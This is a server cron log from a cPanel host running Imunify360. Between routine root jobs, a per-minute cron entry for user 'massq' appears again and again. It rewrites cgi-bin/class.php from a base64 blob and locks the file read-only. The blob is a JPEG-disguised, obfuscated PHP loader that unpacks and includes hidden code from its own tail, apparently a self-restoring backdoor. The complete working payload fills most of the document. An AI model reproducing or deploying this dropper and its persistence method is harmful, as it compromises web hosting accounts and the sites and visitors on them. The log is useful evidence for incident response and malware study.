Sep  2 18:19:01 server CROND[6233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:19:01 server CROND[6235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:20:01 server CROND[6672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:20:01 server CROND[6673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:20:01 server CROND[6679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:20:01 server CROND[6681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:20:01 server CROND[6680]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:20:01 server CROND[6683]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:20:01 server CROND[6684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:20:01 server CROND[6687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:20:01 server CROND[6682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:21:01 server CROND[7517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:21:01 server CROND[7518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:21:01 server CROND[7520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:22:01 server CROND[7882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:22:01 server CROND[7884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:22:01 server CROND[7883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:23:01 server CROND[8346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:23:01 server CROND[8347]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:23:01 server CROND[8349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:24:01 server CROND[8718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:24:01 server CROND[8719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:24:01 server CROND[8720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:25:01 server CROND[9107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:25:01 server CROND[9109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:25:01 server CROND[9111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:25:01 server CROND[9112]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:25:01 server CROND[9110]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:25:01 server CROND[9113]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 18:25:01 server CROND[9114]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:25:01 server CROND[9115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:26:01 server CROND[10050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:26:01 server CROND[10051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:26:01 server CROND[10052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:27:01 server CROND[10440]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:27:01 server CROND[10439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:27:01 server CROND[10442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:27:01 server CROND[10441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:28:01 server CROND[10907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:28:01 server CROND[10908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:28:01 server CROND[10909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:29:01 server CROND[11295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:29:01 server CROND[11294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:29:01 server CROND[11296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:30:01 server CROND[11685]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:30:01 server CROND[11687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:30:01 server CROND[11688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:30:01 server CROND[11692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:30:01 server CROND[11689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:30:01 server CROND[11691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:30:01 server CROND[11693]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
